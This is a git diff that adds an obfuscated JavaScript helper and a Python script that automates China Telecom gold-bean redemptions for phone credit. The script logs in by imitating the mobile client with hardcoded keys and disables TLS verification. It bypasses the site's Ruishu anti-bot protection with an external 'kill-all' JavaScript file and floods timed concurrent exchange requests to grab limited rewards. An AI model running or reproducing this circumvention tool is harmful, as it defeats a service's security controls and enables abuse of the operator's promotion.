_0x4ce15d[_0x2120b0]); + return _0x3af129; + } + } + ["copy"](_0x3d5675) { + return Object.assign({}, _0x3d5675); + } + ["read_env"](_0x4bcb87) { + let _0x1a7889 = _0x5dcb01.map(_0x4310e6 => process.env[_0x4310e6]); + for (let _0x606e30 of _0x1a7889.filter(_0x453b93 => !!_0x453b93)) { + for (let _0x198550 of _0x606e30.split(_0xed67c1).filter(_0x3bf24a => !!_0x3bf24a)) { + if (this.userList.includes(_0x198550)) { + continue; + } + this.userList.push(new _0x4bcb87(_0x198550)); + } + } + this.userCount = this.userList.length; + if (!this.userCount) { + const _0x49da5b = { + "notify": true + }; + this.log("未找到变量,请检查变量" + _0x5dcb01.map(_0x1b005b => "[" + _0x1b005b + "]").join("或"), _0x49da5b); + return false; + } + this.log("到找共".split("").reverse().join("") + this.userCount + "个账号"); + return true; + } + ["time"](_0x49ad16, _0x2b5063 = null) { + { + let _0x31a923 = _0x2b5063 ? new Date(_0x2b5063) : new Date(), + _0x55fc08 = { + "M+": _0x31a923.getMonth() + 1, + "d+": _0x31a923.getDate(), + "h+": _0x31a923.getHours(), + "m+": _0x31a923.getMinutes(), + "s+": _0x31a923.getSeconds(), + "q+": Math.floor((_0x31a923.getMonth() + 3) / 3), + "S": this.padStr(_0x31a923.getMilliseconds(), 3) + }; + new RegExp(")+y(".split("").reverse().join(""), "").test(_0x49ad16) && (_0x49ad16 = _0x49ad16.replace(RegExp.$1, (_0x31a923.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let _0x301ea9 in _0x55fc08) new RegExp("(" + _0x301ea9 + ")").test(_0x49ad16) && (_0x49ad16 = _0x49ad16.replace(RegExp.$1, 1 == RegExp.$1.length ? _0x55fc08[_0x301ea9] : ("00" + _0x55fc08[_0x301ea9]).substr(("" + _0x55fc08[_0x301ea9]).length))); + return _0x49ad16; + } + } + async ["showmsg"]() { + if (!this.notifyFlag) return; + if (!this.notifyStr.length) return; + var _0x5b49dd = require("./sendNotify"); + this.log("\n============== 推送 =============="); + await _0x5b49dd.sendNotify(this.name, this.notifyStr.join("\n")); + } + ["padStr"](_0x512e4d, _0x1b10cc, _0x42a247 = {}) { + let _0x2d42d6 = _0x42a247.padding || "0", + _0x451531 = _0x42a247.mode || "l", + _0x5a8b0c = String(_0x512e4d), + _0x1903c4 = _0x1b10cc > _0x5a8b0c.length ? _0x1b10cc - _0x5a8b0c.length : 0, + _0x585dc1 = ""; + for (let _0x3a78c2 = 0; _0x3a78c2 < _0x1903c4; _0x3a78c2++) { + _0x585dc1 += _0x2d42d6; + } + _0x451531 == "r" ? _0x5a8b0c = _0x5a8b0c + _0x585dc1 : _0x5a8b0c = _0x585dc1 + _0x5a8b0c; + return _0x5a8b0c; + } + ["json2str"](_0x3eed1a, _0x2277e1, _0x2069f6 = false) { + { + let _0x3af26c = []; + for (let _0x301b83 of Object.keys(_0x3eed1a).sort()) { + let _0x4baceb = _0x3eed1a[_0x301b83]; + if (_0x4baceb && _0x2069f6) { + _0x4baceb = encodeURIComponent(_0x4baceb); + } + _0x3af26c.push(_0x301b83 + "=" + _0x4baceb); + } + return _0x3af26c.join(_0x2277e1); + } + } + ["str2json"](_0x45d5f2, _0x2ce388 = false) { + { + let _0x2c969d = {}; + for (let _0x576f5e of _0x45d5f2.split("&")) { + if (!_0x576f5e) continue; + let _0x2c2045 = _0x576f5e.indexOf("="); + if (_0x2c2045 == -1) { + continue; + } + let _0x5057c3 = _0x576f5e.substr(0, _0x2c2045), + _0x1775cc = _0x576f5e.substr(_0x2c2045 + 1); + _0x2ce388 && (_0x1775cc = decodeURIComponent(_0x1775cc)); + _0x2c969d[_0x5057c3] = _0x1775cc; + } + return _0x2c969d; + } + } + ["randomPattern"](_0x17c712, _0x20d7b2 = "abcdef0123456789") { + let _0x1e24a4 = ""; + for (let _0x437e45 of _0x17c712) { + { + if (_0x437e45 == "x") _0x1e24a4 += _0x20d7b2.charAt(Math.floor(Math.random() * _0x20d7b2.length));else { + _0x437e45 == "X" ? _0x1e24a4 += _0x20d7b2.charAt(Math.floor(Math.random() * _0x20d7b2.length)).toUpperCase() : _0x1e24a4 += _0x437e45; + } + } + } + return _0x1e24a4; + } + ["randomUuid"]() { + return this.randomPattern("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"); + } + ["randomString"](_0x50286f, _0x4e74ca = "9876543210fedcba".split("").reverse().join("")) { + { + let _0x20743d = ""; + for (let _0x2d3169 = 0; _0x2d3169 < _0x50286f; _0x2d3169++) { + _0x20743d += _0x4e74ca.charAt(Math.floor(Math.random() * _0x4e74ca.length)); + } + return _0x20743d; + } + } + ["randomList"](_0x161639) { + let _0x5ac11c = Math.floor(Math.random() * _0x161639.length); + return _0x161639[_0x5ac11c]; + } + ["wait"](_0x518432) { + return new Promise(_0x3b888a => setTimeout(_0x3b888a, _0x518432)); + } + async ["exitNow"]() { + await this.showmsg(); + let _0x1b5003 = Date.now(), + _0x45c91d = (_0x1b5003 - this.startTime) / 1000; + this.log(""); + const _0x170131 = { + "time": true + }; + this.log("[" + this.name + "了行运共,束结行运]".split("").reverse().join("") + _0x45c91d + "秒", _0x170131); + process.exit(0); + } + ["normalize_time"](_0x52a126, _0xea5f47 = {}) { + { + let _0x54f8e5 = _0xea5f47.len || this.default_timestamp_len; + _0x52a126 = _0x52a126.toString(); + let _0x2a4248 = _0x52a126.length; + while (_0x2a4248 < _0x54f8e5) { + _0x52a126 += "0"; + } + _0x2a4248 > _0x54f8e5 && (_0x52a126 = _0x52a126.slice(0, 13)); + return parseInt(_0x52a126); + } + } + async ["wait_until"](_0x549baf, _0xbd7457 = {}) { + let _0x35f3ea = _0xbd7457.logger || this, + _0x475b69 = _0xbd7457.interval || this.default_wait_interval, + _0x5ed611 = _0xbd7457.limit || this.default_wait_limit, + _0x17e7fa = _0xbd7457.ahead || this.default_wait_ahead; + if (typeof _0x549baf == "string" && _0x549baf.includes(":")) { + if (_0x549baf.includes("-")) _0x549baf = new Date(_0x549baf).getTime();else { + { + let _0x4619cd = this.time("yyyy-MM-dd "); + _0x549baf = new Date(_0x4619cd + _0x549baf).getTime(); + } + } + } + let _0x1cd343 = this.normalize_time(_0x549baf) - _0x17e7fa, + _0x50d161 = this.time("S.ss:mm:hh".split("").reverse().join(""), _0x1cd343), + _0x3628a2 = Date.now(); + _0x3628a2 > _0x1cd343 && (_0x1cd343 += 86400000); + let _0x2fb0c8 = _0x1cd343 - _0x3628a2; + if (_0x2fb0c8 > _0x5ed611) { + const _0x2e3e5c = { + "time": true + }; + _0x35f3ea.log("[间时标目离".split("").reverse().join("") + _0x50d161 + "于大]".split("").reverse().join("") + _0x5ed611 / 1000 + "秒,不等待", _0x2e3e5c); + } else { + const _0xe9ac59 = { + "time": true + }; + _0x35f3ea.log("[间时标目离".split("").reverse().join("") + _0x50d161 + "]还有" + _0x2fb0c8 / 1000 + "待等始开,秒".split("").reverse().join(""), _0xe9ac59); + while (_0x2fb0c8 > 0) { + { + let _0x2b13e7 = Math.min(_0x2fb0c8, _0x475b69); + await this.wait(_0x2b13e7); + _0x3628a2 = Date.now(); + _0x2fb0c8 = _0x1cd343 - _0x3628a2; + } + } + const _0x4fbb80 = { + "time": true + }; + _0x35f3ea.log("待等成完已".split("").reverse().join(""), _0x4fbb80); + } + } + async ["wait_gap_interval"](_0x3610c9, _0x1513c8) { + let _0x4fcaad = Date.now() - _0x3610c9; + _0x4fcaad < _0x1513c8 && (await this.wait(_0x1513c8 - _0x4fcaad)); + } + }(_0x58fdd8); + } +})(); \ No newline at end of file diff --git a/电信金豆换话费.py b/电信金豆换话费.py new file mode 100644 index 0000000..eb71ba9 --- /dev/null +++ b/电信金豆换话费.py @@ -0,0 +1,515 @@ +# 非青龙下在文件开头添加账号配置, +# process.env.chinaTelecomAccount = ` +# 13454545457#123456 +# 13454545457#456789 +# `.trim(); +''' +变量:chinaTelecomAccount +变量格式: 手机号#服务密码 +多号创建多个变量或者换行、&隔开 +''' +import requests +import re +import time +import json +import random +import datetime +import base64 +import threading +import ssl +import execjs +import os +import sys + +from bs4 import BeautifulSoup + +from Crypto.PublicKey import RSA +from Crypto.Cipher import PKCS1_v1_5 +from Crypto.Cipher import DES3 +from Crypto.Util.Padding import pad, unpad +from Crypto.Util.strxor import strxor +from Crypto.Cipher import AES +from http import cookiejar # Python 2: import cookielib as cookiejar +from requests.adapters import HTTPAdapter +from requests.packages.urllib3.util.ssl_ import create_urllib3_context + + +class BlockAll(cookiejar.CookiePolicy): + return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False + netscape = True + rfc2965 = hide_cookie2 = False + +def printn(m): + print(f'\n{m}') +ORIGIN_CIPHERS = ('DEFAULT@SECLEVEL=1') + +ip_list = [] +class DESAdapter(HTTPAdapter): + def __init__(self, *args, **kwargs): + """ + A TransportAdapter that re-enables 3DES support in Requests. + """ + CIPHERS = ORIGIN_CIPHERS.split(':') + random.shuffle(CIPHERS) + CIPHERS = ':'.join(CIPHERS) + self.CIPHERS = CIPHERS + ':!aNULL:!eNULL:!MD5' + super().__init__(*args, **kwargs) + + def init_poolmanager(self, *args, **kwargs): + context = create_urllib3_context(ciphers=self.CIPHERS) + kwargs['ssl_context'] = context + return super(DESAdapter, self).init_poolmanager(*args, **kwargs) + + def proxy_manager_for(self, *args, **kwargs): + context = create_urllib3_context(ciphers=self.CIPHERS) + kwargs['ssl_context'] = context + return super(DESAdapter, self).proxy_manager_for(*args, **kwargs) + + +requests.packages.urllib3.disable_warnings() +ssl_context = ssl.create_default_context() +ssl_context.check_hostname = False +ssl_context.verify_mode = ssl.CERT_NONE +ssl_context.set_ciphers('DEFAULT@SECLEVEL=0') +ss = requests.session() +ss.ssl=ssl_context +ss.headers={"User-Agent":"Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36","Referer":"https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"} +ss.mount('https://', DESAdapter()) +yc = 0.1 +wt = 0 +kswt = -3 +yf = datetime.datetime.now().strftime("%Y%m") + + +jp = {"9":{},"12":{},"13":{},"23":{}} + + +try: + with open('电信金豆换话费.log') as fr: + dhjl = json.load(fr) +except: + dhjl = {} +if yf not in dhjl: + dhjl[yf] = {} + + + + +wxp={} +errcode = { + "0":"兑换成功", + "412":"兑换次数已达上限", + "413":"商品已兑完", + "420":"未知错误", + "410":"该活动已失效~", + "Y0001":"当前等级不足,去升级兑当前话费", + "Y0002":"使用翼相连网络600分钟或连接并拓展网络500分钟可兑换此奖品", + "Y0003":"使用翼相连共享流量400M或共享WIFI:2GB可兑换此奖品", + "Y0004":"使用翼相连共享流量2GB可兑换此奖品", + "Y0005":"当前等级不足,去升级兑当前话费", + "E0001":"您的网龄不足10年,暂不能兑换" +} + + + + + + + + + + +#加密参数 +key = b'1234567`90koiuyhgtfrdews' +iv = 8 * b'\0' + +public_key_b64 = '''-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB +-----END PUBLIC KEY-----''' + +public_key_data = '''-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB +-----END PUBLIC KEY-----''' + + +def t(h): + date = datetime.datetime.now() + date_zero = datetime.datetime.now().replace(year=date.year, month=date.month, day=date.day, hour=h, minute=59, second=59) + date_zero_time = int(time.mktime(date_zero.timetuple())) + return date_zero_time + + + +def encrypt(text): + cipher = DES3.new(key, DES3.MODE_CBC, iv) + ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size)) + return ciphertext.hex() + +def decrypt(text): + ciphertext = bytes.fromhex(text) + cipher = DES3.new(key, DES3.MODE_CBC, iv) + plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size) + return plaintext.decode() + + + +def b64(plaintext): + public_key = RSA.import_key(public_key_b64) + cipher = PKCS1_v1_5.new(public_key) + ciphertext = cipher.encrypt(plaintext.encode()) + return base64.b64encode(ciphertext).decode() + +def encrypt_para(plaintext): + public_key = RSA.import_key(public_key_data) + cipher = PKCS1_v1_5.new(public_key) + ciphertext = cipher.encrypt(plaintext.encode()) + return ciphertext.hex() + + +def encode_phone(text): + encoded_chars = [] + for char in text: + encoded_chars.append(chr(ord(char) + 2)) + return ''.join(encoded_chars) + +def ophone(t): + key = b'34d7cb0bcdf07523' + utf8_key = key.decode('utf-8') + utf8_t = t.encode('utf-8') + cipher = AES.new(key, AES.MODE_ECB) + ciphertext = cipher.encrypt(pad(utf8_t, AES.block_size)) + return ciphertext.hex() + +def send(uid,content): + r = requests.post('https://wxpusher.zjiecode.com/api/send/message',json={"appToken":appToken,"content":content,"contentType":1,"uids":[uid]}).json() + return r + + +def userLoginNormal(phone,password): + alphabet = 'abcdef0123456789' + uuid = [''.join(random.sample(alphabet, 8)),''.join(random.sample(alphabet, 4)),'4'+''.join(random.sample(alphabet, 3)),''.join(random.sample(alphabet, 4)),''.join(random.sample(alphabet, 12))] + timestamp=datetime.datetime.now().strftime("%Y%m%d%H%M%S") + loginAuthCipherAsymmertric = 'iPhone 14 15.4.' + uuid[0] + uuid[1] + phone + timestamp + password[:6] + '0$$$0.' + + r = ss.post('https://appgologin.189.cn:9031/login/client/userLoginNormal',json={"headerInfos": {"code": "userLoginNormal", "timestamp": timestamp, "broadAccount": "", "broadToken": "", "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#", "shopId": "20002", "source": "110003", "sourcePassword": "Sid98s", "token": "", "userLoginName": phone}, "content": {"attach": "test", "fieldData": {"loginType": "4", "accountType": "", "loginAuthCipherAsymmertric": b64(loginAuthCipherAsymmertric), "deviceUid": uuid[0] + uuid[1] + uuid[2], "phoneNum": encode_phone(phone), "isChinatelecom": "0", "systemVersion": "15.4.0", "authentication": password}}}).json() + + + + l = r['responseData']['data']['loginSuccessResult'] + + if l: + load_token[phone] = l + with open(load_token_file, 'w') as f: + json.dump(load_token, f) + ticket = get_ticket(phone,l['userId'],l['token']) + return ticket + + return False +def get_ticket(phone,userId,token): + r = ss.post('https://appgologin.189.cn:9031/map/clientXML',data='getSingle'+datetime.datetime.now().strftime("%Y%m%d%H%M%S")+'#9.6.1#channel50#iPhone 14 Pro Max#20002110003Sid98s'+token+''+phone+'test'+encrypt(userId)+'4a6862274835b451',headers={'user-agent': 'CtClient;10.4.1;Android;13;22081212C;NTQzNzgx!#!MTgwNTg1'}) + + #printn(phone, '获取ticket', re.findall('(.*?)',r.text)[0]) + + tk = re.findall('(.*?)',r.text) + if len(tk) == 0: + return False + + + return decrypt(tk[0]) + + + +def queryInfo(phone,s): + global rs + a = 1 + while a < 10: + if rs: + bd = js.call('main').split('=') + ck[bd[0]] = bd[1] + + r = s.get('https://wapact.189.cn:9001/gateway/golden/api/queryInfo',cookies=ck).json() + + try: + printn(f'{phone} 金豆余额 {r["biz"]["amountTotal"]}') + amountTotal= r["biz"]["amountTotal"] + except: + amountTotal = 0 + if amountTotal< 3000: + if rs == 1: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + + + res = s.post('http://wapact.189.cn:9000/gateway/stand/detail/exchange',json={"activityId":jdaid},cookies=ck).text + + if '$_ts=window' in res: + first_request() + rs = 1 + + time.sleep(3) + else: + return r + a += 1 + + + return r + + +def exchange(phone,s,title,aid, uid): + + try: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + r = s.post('https://wapact.189.cn:9001/gateway/standExchange/detailNew/exchange',json={"activityId":aid},cookies=ck) + printn(f"响应码: {r.status_code}") + + if '$_ts=window' in r.text: + + first_request(r.text) + return + r = r.json() + + if r["code"] == 0: + if r["biz"] != {} and r["biz"]["resultCode"] in errcode: + #printn(str(datetime.datetime.now())[11:22], phone, title,errcode[r["biz"]["resultCode"]]) + printn(f'{str(datetime.datetime.now())[11:22]} {phone} {title} {errcode[r["biz"]["resultCode"]]}') + + + if r["biz"]["resultCode"] in ["0","412"]: + if r["biz"]["resultCode"] == "0": + msg = phone+":"+title+"兑换成功" + + send(uid, msg) + if phone not in dhjl[yf][title]: + dhjl[yf][title] += "#"+phone + with open('电信金豆换话费.log', 'w') as f: + json.dump(dhjl, f, ensure_ascii=False) + + + else: + #printn(str(datetime.datetime.now())[11:22], phone, r["message"]) + printn(f'{str(datetime.datetime.now())[11:22]} {phone} {r}') + + except Exception as e: + #print(e) + pass + + +def dh(phone,s,title,aid,wt, uid): + + while wt > time.time(): + pass + + printn(f"{str(datetime.datetime.now())[11:22]} {phone} {title} 开始兑换") + + if rs: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + for cs in range(cfcs): + threading.Thread(target=exchange,args=(phone,s,title,aid, uid)).start() + #time.sleep(5) + + + +def lottery(s): + for cishu in range(3): + try: + if rs: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + else: + cookie = {} + r = s.post('https://wapact.189.cn:9001/gateway/golden/api/lottery',json={"activityId":"6384b49b1e44396da4f1e4a3"},cookies=ck) + except: + pass + time.sleep(3) + +def aes_ecb_encrypt(plaintext, key): + key = key.encode('utf-8') + if len(key) not in [16, 24, 32]: + raise ValueError("密钥长度必须为16/24/32字节") + + # 对明文进行PKCS7填充 + padded_data = pad(plaintext.encode('utf-8'), AES.block_size) + #padded_data = plaintext.encode('utf-8') + # 创建AES ECB加密器 + cipher = AES.new(key, AES.MODE_ECB) + + # 加密并返回Base64编码结果 + ciphertext = cipher.encrypt(padded_data) + return base64.b64encode(ciphertext).decode('utf-8') +def ks(phone, ticket, uid): + global wt + + wxp[phone] = uid + s = requests.session() + s.headers={"User-Agent":"Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36","Referer":"https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"} + s.cookies.set_policy(BlockAll()) + s.mount('https://', DESAdapter()) + s.timeout = 30 + if rs: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + + data = aes_ecb_encrypt(json.dumps({"ticket":ticket,"backUrl":"https%3A%2F%2Fwapact.189.cn%3A9001","platformCode":"P201010301","loginType":2}), 'telecom_wap_2018') + + login = ss.post('https://wapact.189.cn:9001/unified/user/login',data=data, headers={"Content-Type":"application/json;charset=UTF-8","Accept":"application/json, text/javascript, */*; q=0.01"}, cookies=ck).json() + # login = s.post('https://wapact.189.cn:9001/unified/user/login',json={"ticket":ticket,"backUrl":"https%3A%2F%2Fwapact.189.cn%3A9001","platformCode":"P201010301","loginType":2}, cookies=ck).json() + if login['code'] == 0: + printn(phone+" 获取token成功") + s.headers["Authorization"] = "Bearer " + login["biz"]["token"] + + queryInfo(phone,s) + + + if rs: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + + queryBigDataAppGetOrInfo = s.get('https://waphub.189.cn/gateway/golden/goldGoods/getGoodsList??floorType=0&userType=1&page&1&order=2&tabOrder=',cookies=ck).json() + # printn(queryBigDataAppGetOrInfo) + for i in queryBigDataAppGetOrInfo["biz"]["ExchangeGoodslist"]: + if '话费' not in i["title"]:continue + + if '0.5元' in i["title"] or '5元' in i["title"]: + jp["9"][i["title"]] = i["id"] + elif '1元' in i["title"] or '10元' in i["title"]: + jp["13"][i["title"]] = i["id"] + else: + jp["12"][i["title"]] = i["id"] + + + + h = datetime.datetime.now().hour + if 11 > h > 1: + h = 9 + + elif 23 > h > 1: + h = 13 + + else: + h = 23 + + if len(sys.argv) ==2: + h = int(sys.argv[1]) + #h=23 + d = jp[str(h)] + + wt = t(h) + kswt + + if jp["12"] != {}: + d.update(jp["12"]) + wt = 0 + + for di in d: + #if '5' in di: + if di not in dhjl[yf]: + dhjl[yf][di] = "" + if phone in dhjl[yf][di] : + printn(f"{phone} {di} 已兑换") + + else: + + printn(f"{phone} {di}") + if wt - time.time() > 20 * 60: + print("等待时间超过20分钟") + return + + + threading.Thread(target=dh,args=(phone,s,di,d[di],wt, uid)).start() + + + else: + + printn(f"{phone} 获取token {login['message']}") + + + +def first_request(res=''): + global js, fw + url = 'https://wapact.189.cn:9001/gateway/stand/detail/exchange' + if res == '': + response = ss.get(url) + res = response.text + soup = BeautifulSoup(res, 'html.parser') + scripts = soup.find_all('script') + for script in scripts: + if 'src' in str(script): + rsurl = re.findall('src="([^"]+)"', str(script))[0] + + if '$_ts=window' in script.get_text(): + ts_code = script.get_text() + + + urls = url.split('/') + rsurl = urls[0] + '//' + urls[2] + rsurl + #print(rsurl) + ts_code += ss.get(rsurl).text + content_code = soup.find_all('meta')[1].get('content') + with open("瑞数通杀.js") as f: + js_code_ym = f.read() + js_code = js_code_ym.replace('content_code', content_code).replace("'ts_code'", ts_code) + js = execjs.compile(js_code) + + for cookie in ss.cookies: + ck[cookie.name] = cookie.value + return content_code, ts_code, ck + + + +def main(): + global wt,rs + r = ss.get('https://wapact.189.cn:9001/gateway/stand/detailNew/exchange') + if '$_ts=window' in r.text: + rs = 1 + print("瑞数加密已开启") + first_request() + else: + print("瑞数加密已关闭") + rs = 0 + if os.environ.get('jdhf')!= None: + chinaTelecomAccount = os.environ.get('jdhf') + else: + chinaTelecomAccount = jdhf + + for i in chinaTelecomAccount.split('&'): + + i = i.split('@') + phone = i[0] + password = i[1] + uid = i[-1] + ticket = False + + #ticket = get_userTicket(phone) + + if phone in load_token: + printn(f'{phone} 使用缓存登录') + ticket = get_ticket(phone,load_token[phone]['userId'],load_token[phone]['token']) + + if ticket == False: + printn(f'{phone} 使用密码登录') + ticket = userLoginNormal(phone,password) + + if ticket: + threading.Thread(target=ks,args=(phone, ticket, uid)).start() + + time.sleep(1) + else: + printn(f'{phone} 登录失败') + +#手机号@密码@wxpusheruid +jdhf = "" +#重发次数 +cfcs = 15 +#wxpusher推送appToken +appToken = "" +jdaid = '60dd79533dc03d3c76bdde30' +ck = {} +load_token_file = 'chinaTelecom_cache.json' +try: + with open(load_token_file, 'r') as f: + load_token = json.load(f) +except: + load_token = {} + +main()